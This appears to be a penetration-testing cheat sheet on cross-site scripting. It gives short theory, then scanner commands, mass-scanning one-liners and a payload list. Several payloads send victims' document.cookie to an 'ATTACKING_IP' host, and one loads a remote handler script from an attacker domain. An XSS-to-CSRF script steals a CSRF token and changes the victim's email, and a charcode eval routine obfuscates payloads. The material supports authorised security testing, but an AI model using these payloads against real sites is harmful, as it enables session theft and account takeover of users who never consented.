XSS (Cross-Site Scripting)

Theory

Cross-Site Scripting (XSS) is a security vulnerability that occurs when an application includes untrusted data in a web page. Attackers can inject malicious scripts into web pages viewed by other users. These scripts execute in the context of a user's browser, which can lead to a wide range of attacks, such as stealing cookies, session tokens, or sensitive data, defacing websites, or redirecting users to malicious sites.

There are three major types of XSS:

Stored XSS: The injected payload is permanently stored on the server and served to other users when they access the page.
Reflected XSS: The payload is included in the page as a result of a user action, like clicking on a malicious link or submitting a form.
DOM-based XSS: while stored and reflected XSS attacks exploit vulnerabilities in the server-side code, a DOM-based XSS exploits client-side ones (e.g. JavaScript used to help dynamically render a page). DOM-based XSS usually affect user inputs that are temporarily reflected, just like reflected XSS attacks.

Practice

Tools

(Python) can be used to scan website for XSS

python xsstrike.py -u https://target.url/

is a powerful open-source XSS scanner and utility focused on automation.

# Scan an URL
dalfox url http://testphp.vulnweb.com/listproducts.php?cat=1

# From an URLs file
cat urls.txt | dalfox pipe

(Python) is a tool that can detect, exploit and report XSS vulnerabilities on a web application

# --Cl : Crawl only local target(s)
# -c : Number of urls to crawl on target(s)
# --Cw: Deeping level of crawler: 1-5
# -s: show advanced statistics output results
# --auto: Inject a list of vectors provided by XSSer
# --xml: Export to XML
python xsser -u https://target.url -c 50 --Cw 1 --Cl -s --threads 5 --timeout 30 --retries 1 --delay 0 --auto --xml out.xml

(Python) is an open-source penetration testing tool that automates the process of exploiting Cross-Site Scripting (XSS) vulnerabilities. It consists of an https server that works as an interpreter for the traffic generated by the malicious JavaScript payload that powers this tool (toxin.js).

# Generate certificates
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Start toxssin server
python3 toxssin.py -u https://your.domain.com -c /your/certificate.pem -k /your/privkey.pem

On the target side, XSS payload should looks like:

<script url="https://your.domain.com/handler.js"></script>

It may be usefull for bug bounty hunting

domains.txt -> text file containing domain names (ex: test.domain.com)

urls.txt -> text file containing URLs (ex: http://test.domain.com)

# HTTPX
cat domains.txt | (gau || hakrawler || waybackurls || katana) | grep -Ev "\.(jpeg|jpg|png|ico|gif|css|woff|svg)$" | uro | grep =  | qsreplace "<img src=x onerror=alert(1)>" | httpx -silent -nc -mc 200 -mr "<img src=x onerror=alert(1)>"

# Dalfox
cat domains.txt | (gau || hakrawler || waybackurls || katana) | httpx -silent | Gxss -c 100 -p Xss | sort -u |grep http| dalfox pipe

# Curl
cat domains.txt | (gau || hakrawler || waybackurls || katana) | grep '=' |qsreplace '"><script>alert(1)</script>' | while read host do ; do curl -s --path-as-is --insecure "$host" | grep -qs "<script>alert(1)</script>" && echo "$host \033[0;31m" Vulnerable "\033[0m";done

# URLS and Dalfox
gospider -S urls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe

# Dalfox, gf
cat domains.txt | (gau || hakrawler || waybackurls || katana) | grep '=' | gf xss | sed 's/=.*/=/' | sort -u | dalfox pipe

Enumeration - Find XSS Vulnerabilities

We have to identify input vectors that may not be properly sanitized and that are stored or reflected. For example:

URI parameters for reflected and DOM-based XSS
Other user inputs in forums, chats, comments, posts, and other stored content for stored XSS
HTTP headers like Cookies (and even User-Agents in some cases)

We can input special characters and observe the output to determine if any of the special characters return unfiltered. The most common special characters used for this purpose include:

< > ' " { } ;

Payloads

Generally we will use following payloads as a proof of concept. It will open an alert window.

// Classic Payloads
<script>alert('XSS');</script>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG onmouseover="alert('XSS')">
<<SCRIPT>alert("XSS");//<</SCRIPT>
<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>

// Useful payloads
<K OnPointerRawUpdate=alert(1)>
<K OnPointerMove=alert(1)>
\’/alert(1)//
<K ContentEditable AutoFocus OnFocus=alert(1)>
<Svg OnLoad=alert(1)>
<Img Src=//X55.is OnLoad=import(src)>

We may send back user cookies to our own webserver using following payloads

<script>var i=new Image;i.src="http://ATTACKING_IP/?"+document.cookie;</script>
<img src=x onerror=this.src='http://ATTACKING_IP/?'+document.cookie;>
<img src=x onerror="this.src='http://ATTACKING_IP/?'+document.cookie; this.removeAttribute('onerror');">

We may use an XSS vulnerability to perform a CSRF (Cross-Site-Request-Forgery) and make actions on behalf of the user.

#Exemple from https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

function encode_to_javascript(string) {
            var input = string
            var output = '';
            for(pos = 0; pos < input.length; pos++) {
                output += input.charCodeAt(pos);
                if(pos != (input.length - 1)) {
                    output += ",";
                }
            }
            return output;
        }
        
let encoded = encode_to_javascript('insert_minified_javascript')
console.log(encoded)

Run the function and copy result (charcode) to our final payload

<script>eval(String.fromCharCode(121,19,32 [...] 120,95,42,31))</script>

CSP

Resources

Last updated 6 months ago

Was this helpful?